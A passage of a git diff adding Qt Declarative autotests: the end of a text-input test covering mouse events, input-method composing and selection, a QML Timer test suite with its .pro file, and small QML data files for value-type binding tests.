+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ { QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16); // 15 is expected but some platforms may be off by one.
+ ic.eventType = QEvent::None;
+
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ // And in the other direction.
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position20);
+ QCOMPARE(ic.eventGlobalPosition, globalposition20);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+}
+
+void tst_qdeclarativetextinput::inputMethodComposing()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setWidth(200);
+ input.setText(text.mid(0, 12));
+ input.setCursorPosition(12);
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QSignalSpy spy(&input, SIGNAL(inputMethodComposingChanged()));
+
+ QCOMPARE(input.isInputMethodComposing(), false);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(3), QList<QInputMethodEvent::Attribute>()));
+ QCOMPARE(input.isInputMethodComposing(), true);
+ QCOMPARE(spy.count(), 1);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+ QCOMPARE(input.isInputMethodComposing(), true);
+ QCOMPARE(spy.count(), 1);
+
+ ic.sendEvent(QInputMethodEvent());
+ QCOMPARE(input.isInputMethodComposing(), false);
+ QCOMPARE(spy.count(), 2);
+}
+
+void tst_qdeclarativetextinput::cursorRectangleSize()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInput != 0);
+ textInput->setFocus(Qt::OtherFocusReason);
+ QRectF cursorRect = textInput->positionToRectangle(textInput->cursorPosition());
+ QRectF microFocusFromScene = canvas->scene()->inputMethodQuery(Qt::ImMicroFocus).toRectF();
+ QRectF microFocusFromApp= QApplication::focusWidget()->inputMethodQuery(Qt::ImMicroFocus).toRectF();
+
+ QCOMPARE(microFocusFromScene.size(), cursorRect.size());
+ QCOMPARE(microFocusFromApp.size(), cursorRect.size());
+}
+
+void tst_qdeclarativetextinput::deselect()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInput != 0);
+
+ textInput->setText("Select");
+
+ QSignalSpy selectionStartSpy(textInput, SIGNAL(selectionStartChanged()));
+ QSignalSpy selectionEndSpy(textInput, SIGNAL(selectionEndChanged()));
+ QSignalSpy selectedTextSpy(textInput, SIGNAL(selectedTextChanged()));
+
+ textInput->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 1);
+ QCOMPARE(selectionEndSpy.count(), 0);
+ QCOMPARE(selectedTextSpy.count(), 1);
+ QCOMPARE(textInput->selectionStart(), 5);
+ QCOMPARE(textInput->selectionEnd(), 6);
+ QCOMPARE(textInput->selectedText(), QLatin1String("t"));
+ QCOMPARE(textInput->cursorPosition(), 6);
+
+ textInput->deselect();
+
+ QCOMPARE(selectionStartSpy.count(), 2);
+ QCOMPARE(selectionEndSpy.count(), 1);
+ QCOMPARE(selectedTextSpy.count(), 2);
+ QCOMPARE(textInput->selectionStart(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectionEnd(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectedText(), QLatin1String(""));
+ QCOMPARE(textInput->cursorPosition(), 6);
+
+ textInput->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 3);
+ QCOMPARE(selectionEndSpy.count(), 1);
+ QCOMPARE(selectedTextSpy.count(), 3);
+ QCOMPARE(textInput->selectionStart(), 5);
+ QCOMPARE(textInput->selectionEnd(), 6);
+ QCOMPARE(textInput->selectedText(), QLatin1String("t"));
+ QCOMPARE(textInput->cursorPosition(), 6);
+
+ QKeyEvent leftArrowPress(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier);
+ QKeyEvent leftArrowRelese(QEvent::KeyRelease, Qt::Key_Left, Qt::NoModifier);
+ QApplication::sendEvent(canvas, &leftArrowPress);
+ QApplication::sendEvent(canvas, &leftArrowRelese);
+
+ QCOMPARE(selectionStartSpy.count(), 4);
+ QCOMPARE(selectionEndSpy.count(), 2);
+ QCOMPARE(selectedTextSpy.count(), 4);
+ QCOMPARE(textInput->selectionStart(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectionEnd(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectedText(), QLatin1String(""));
+ QCOMPARE(textInput->cursorPosition(), 5);
+
+ textInput->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 4);
+ QCOMPARE(selectionEndSpy.count(), 3);
+ QCOMPARE(selectedTextSpy.count(), 5);
+ QCOMPARE(textInput->selectionStart(), 5);
+ QCOMPARE(textInput->selectionEnd(), 6);
+ QCOMPARE(textInput->selectedText(), QLatin1String("t"));
+ QCOMPARE(textInput->cursorPosition(), 6);
+
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes << QInputMethodEvent::Attribute(QInputMethodEvent::Selection, 0, 0, QVariant());
+ QInputMethodEvent event(QLatin1String(""), attributes);
+ QApplication::sendEvent(canvas, &event);
+
+ QCOMPARE(selectionStartSpy.count(), 5);
+ QCOMPARE(selectionEndSpy.count(), 4);
+ QCOMPARE(selectedTextSpy.count(), 6);
+ QCOMPARE(textInput->selectionStart(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectionEnd(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectedText(), QLatin1String(""));
+ QCOMPARE(textInput->cursorPosition(), 0);
+
+ textInput->setCursorPosition(1);
+
+ QCOMPARE(selectionStartSpy.count(), 6);
+ QCOMPARE(selectionEndSpy.count(), 5);
+ QCOMPARE(selectedTextSpy.count(), 6);
+
+ QKeyEvent leftArrowShiftPress(QEvent::KeyPress, Qt::Key_Left, Qt::ShiftModifier);
+ QKeyEvent leftArrowShiftRelese(QEvent::KeyRelease, Qt::Key_Left, Qt::ShiftModifier);
+ QApplication::sendEvent(canvas, &leftArrowShiftPress);
+ QApplication::sendEvent(canvas, &leftArrowShiftRelese);
+
+ QCOMPARE(selectionStartSpy.count(), 7);
+ QCOMPARE(selectionEndSpy.count(), 5);
+ QCOMPARE(selectedTextSpy.count(), 7);
+ QCOMPARE(textInput->selectionStart(), 0);
+ QCOMPARE(textInput->selectionEnd(), 1);
+ QCOMPARE(textInput->selectedText(), QLatin1String("S"));
+ QCOMPARE(textInput->cursorPosition(), 0);
+
+ QApplication::sendEvent(canvas, &event);
+
+ QCOMPARE(selectionStartSpy.count(), 8);
+ QCOMPARE(selectionEndSpy.count(), 6);
+ QCOMPARE(selectedTextSpy.count(), 8);
+ QCOMPARE(textInput->selectionStart(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectionEnd(), textInput->cursorPosition());
+ QCOMPARE(textInput->selectedText(), QLatin1String(""));
+ QCOMPARE(textInput->cursorPosition(), 0);
+}
+
+QTEST_MAIN(tst_qdeclarativetextinput)
+
+#include "tst_qdeclarativetextinput.moc"
diff --git a/tests/auto/declarative/qdeclarativetimer/qdeclarativetimer.pro b/tests/auto/declarative/qdeclarativetimer/qdeclarativetimer.pro
new file mode 100644
index 00000000..5a9e7f7a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetimer/qdeclarativetimer.pro
@@ -0,0 +1,13 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativetimer.cpp
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativetimer/tst_qdeclarativetimer.cpp b/tests/auto/declarative/qdeclarativetimer/tst_qdeclarativetimer.cpp
new file mode 100644
index 00000000..15d6319b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetimer/tst_qdeclarativetimer.cpp
@@ -0,0 +1,344 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtTest/QSignalSpy>
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativetimer_p.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QDebug>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativetimer : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativetimer();
+
+private slots:
+ void notRepeating();
+ void notRepeatingStart();
+ void repeat();
+ void noTriggerIfNotRunning();
+ void triggeredOnStart();
+ void triggeredOnStartRepeat();
+ void changeDuration();
+ void restart();
+ void parentProperty();
+};
+
+class TimerHelper : public QObject
+{
+ Q_OBJECT
+public:
+ TimerHelper() : QObject(), count(0)
+ {
+ }
+
+ int count;
+
+public slots:
+ void timeout() {
+ ++count;
+ }
+};
+
+#if defined(Q_OS_SYMBIAN) && defined(Q_CC_NOKIAX86)
+// Increase wait as emulator startup can cause unexpected delays
+#define TIMEOUT_TIMEOUT 2000
+#else
+#define TIMEOUT_TIMEOUT 200
+#endif
+
+tst_qdeclarativetimer::tst_qdeclarativetimer()
+{
+}
+
+void tst_qdeclarativetimer::notRepeating()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+ QVERIFY(timer->isRunning());
+ QVERIFY(!timer->isRepeating());
+ QCOMPARE(timer->interval(), 100);
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 1);
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 1);
+ QVERIFY(timer->isRunning() == false);
+}
+
+void tst_qdeclarativetimer::notRepeatingStart()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100 }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+ QVERIFY(!timer->isRunning());
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 0);
+
+ timer->start();
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 1);
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 1);
+ QVERIFY(timer->isRunning() == false);
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::repeat()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; repeat: true; running: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+ QCOMPARE(helper.count, 0);
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QVERIFY(helper.count > 0);
+ int oldCount = helper.count;
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QVERIFY(helper.count > oldCount);
+ QVERIFY(timer->isRunning());
+
+ oldCount = helper.count;
+ timer->stop();
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QVERIFY(helper.count == oldCount);
+ QVERIFY(timer->isRunning() == false);
+
+ QSignalSpy spy(timer, SIGNAL(repeatChanged()));
+
+ timer->setRepeating(false);
+ QVERIFY(!timer->isRepeating());
+ QCOMPARE(spy.count(),1);
+
+ timer->setRepeating(false);
+ QCOMPARE(spy.count(),1);
+
+ timer->setRepeating(true);
+ QCOMPARE(spy.count(),2);
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::triggeredOnStart()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true; triggeredOnStart: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+ QVERIFY(timer->triggeredOnStart());
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+ QTest::qWait(1);
+ QCOMPARE(helper.count, 1);
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 2);
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(helper.count, 2);
+ QVERIFY(timer->isRunning() == false);
+
+ QSignalSpy spy(timer, SIGNAL(triggeredOnStartChanged()));
+
+ timer->setTriggeredOnStart(false);
+ QVERIFY(!timer->triggeredOnStart());
+ QCOMPARE(spy.count(),1);
+
+ timer->setTriggeredOnStart(false);
+ QCOMPARE(spy.count(),1);
+
+ timer->setTriggeredOnStart(true);
+ QCOMPARE(spy.count(),2);
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::triggeredOnStartRepeat()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true; triggeredOnStart: true; repeat: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+ QTest::qWait(1);
+ QCOMPARE(helper.count, 1);
+
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QVERIFY(helper.count > 1);
+ int oldCount = helper.count;
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QVERIFY(helper.count > oldCount);
+ QVERIFY(timer->isRunning());
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::noTriggerIfNotRunning()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray(
+ "import QtQuick 1.0\n"
+ "Item { property bool ok: true\n"
+ "Timer { id: t1; interval: 100; repeat: true; running: true; onTriggered: if (!running) ok=false }"
+ "Timer { interval: 10; running: true; onTriggered: t1.running=false }"
+ "}"
+ ), QUrl::fromLocalFile(""));
+ QObject *item = component.create();
+ QVERIFY(item != 0);
+ QTest::qWait(TIMEOUT_TIMEOUT);
+ QCOMPARE(item->property("ok").toBool(), true);
+
+ delete item;
+}
+
+void tst_qdeclarativetimer::changeDuration()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 200; repeat: true; running: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+ QCOMPARE(helper.count, 0);
+
+ QTest::qWait(500);
+ QCOMPARE(helper.count, 2);
+
+ timer->setInterval(500);
+
+ QTest::qWait(600);
+ QCOMPARE(helper.count, 3);
+ QVERIFY(timer->isRunning());
+
+ QSignalSpy spy(timer, SIGNAL(intervalChanged()));
+
+ timer->setInterval(200);
+ QCOMPARE(timer->interval(), 200);
+ QCOMPARE(spy.count(),1);
+
+ timer->setInterval(200);
+ QCOMPARE(spy.count(),1);
+
+ timer->setInterval(300);
+ QCOMPARE(spy.count(),2);
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::restart()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 500; repeat: true; running: true }"), QUrl::fromLocalFile(""));
+ QDeclarativeTimer *timer = qobject_cast<QDeclarativeTimer*>(component.create());
+ QVERIFY(timer != 0);
+
+ TimerHelper helper;
+ connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout()));
+ QCOMPARE(helper.count, 0);
+
+ QTest::qWait(600);
+ QCOMPARE(helper.count, 1);
+
+ QTest::qWait(300);
+
+ timer->restart();
+
+ QTest::qWait(700);
+
+ QCOMPARE(helper.count, 2);
+ QVERIFY(timer->isRunning());
+
+ delete timer;
+}
+
+void tst_qdeclarativetimer::parentProperty()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nItem { Timer { objectName: \"timer\"; running: parent.visible } }"), QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item != 0);
+ QDeclarativeTimer *timer = item->findChild<QDeclarativeTimer*>("timer");
+ QVERIFY(timer != 0);
+
+ QVERIFY(timer->isRunning());
+
+ delete timer;
+}
+
+QTEST_MAIN(tst_qdeclarativetimer)
+
+#include "tst_qdeclarativetimer.moc"
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType.qml
new file mode 100644
index 00000000..f625d081
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ property bool boldProperty: false
+
+ font.bold: boldProperty
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType4.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType4.qml
new file mode 100644
index 00000000..0bdccce5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType4.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ property int dataProperty: 7
+
+ point: Qt.point(dataProperty, dataProperty)
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType5.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType5.qml
new file mode 100644
index 00000000..151c4997
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType5.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ property int dataProperty: 7
+
+ point.x: dataProperty
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.2.qml
new file mode 100644
index 00000000..ce2e82d0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.2.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: 10
+ rect.x: value
+
+ onRunScript: { rect = Qt.rect(10, 10, 10, 10) }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.3.qml
new file mode 100644
index 00000000..d431b4ae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.3.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyTypeObject {
+ property variant value
+
+ rect: value
+
+ onRunScript: { rect.x = 44 }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.qml
new file mode 100644
index 00000000..a8a72f51
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: 10
+ rect.x: value
+
+ onRunScript: { rect.x = 42; }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingAssignment.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingAssignment.qml
new file mode 100644
index 00000000..a6521866
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingAssignment.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: 10
+
+ rect.x: value
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingConflict.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingConflict.qml
new file mode 100644
index 00000000..fd25c9f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingConflict.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: 13
+
+ rect.x: value
+ rect: "10,10,10x10"
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingRead.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingRead.qml
new file mode 100644
index 00000000..538d776f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingRead.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: rect.x
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingVariantCopy.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingVariantCopy.qml
new file mode 100644
index 00000000..3a48c8bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingVariantCopy.qml
@@ -0,0 +1,13 @@
+import Test 1.0
+
+MyTypeObject {
+ property variant object
+ object: MyTypeObject {
+ rect.x: 19
+ rect.y: 33
+ rect.width: 5
+ rect.height: 99
+ }
+
+ rect: object.rect
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.1.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.1.qml
new file mode 100644
index 00000000..70121435
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.1.qml
@@ -0,0 +1,29 @@
+import Test 1.0
+import QtQuick 1.0
+
+BindingsSpliceCorrectlyType {
+ property bool test: false
+
+ property bool italicProperty: false
+
+ font.italic: italicProperty
+
+ Component.onCompleted: {
+ // Test initial state
+ if (font.italic != false) return;
+ if (font.bold != false) return;
+
+ // Test italic binding worked
+ italicProperty = true;
+
+ if (font.italic != true) return;
+ if (font.bold != false) return;
+
+ // Test bold binding worked
+ boldProperty = true;
+ if (font.italic != true) return;
+ if (font.bold != true) return;
+
+ test = true;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.2.qml
new file mode 100644
index 00000000..69dbcab9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.2.qml
@@ -0,0 +1,31 @@
+import Test 1.0
+import QtQuick 1.0
+
+BindingsSpliceCorrectlyType {
+ property bool test: false
+
+ property bool italicProperty: false
+
+ font.italic: italicProperty
+ font.bold: false
+
+ Component.onCompleted: {
+ // Test initial state
+ if (font.italic != false) return;
+ if (font.bold != false) return;
+
+ // Test italic binding worked
+ italicProperty = true;
+
+ if (font.italic != true) return;
+ if (font.bold != false) return;
+
+ // Test bold binding was removed by constant write
+ boldProperty = true;
+ if (font.italic != true) return;
+ if (font.bold != false) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.3.qml
new file mode 100644
index 00000000..669feb99
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.3.qml
@@ -0,0 +1,36 @@
+import Test 1.0
+import QtQuick 1.0
+
+BindingsSpliceCorrectlyType {
+ property bool test: false
+
+ property bool italicProperty: false
+ property bool boldProperty2: false
+
+ font.italic: italicProperty
+ font.bold: boldProperty2
+
+ Component.onCompleted: {
+ // Test initial state
+ if (font.italic != false) return;
+ if (font.bold != false) return;
+
+ // Test italic binding worked
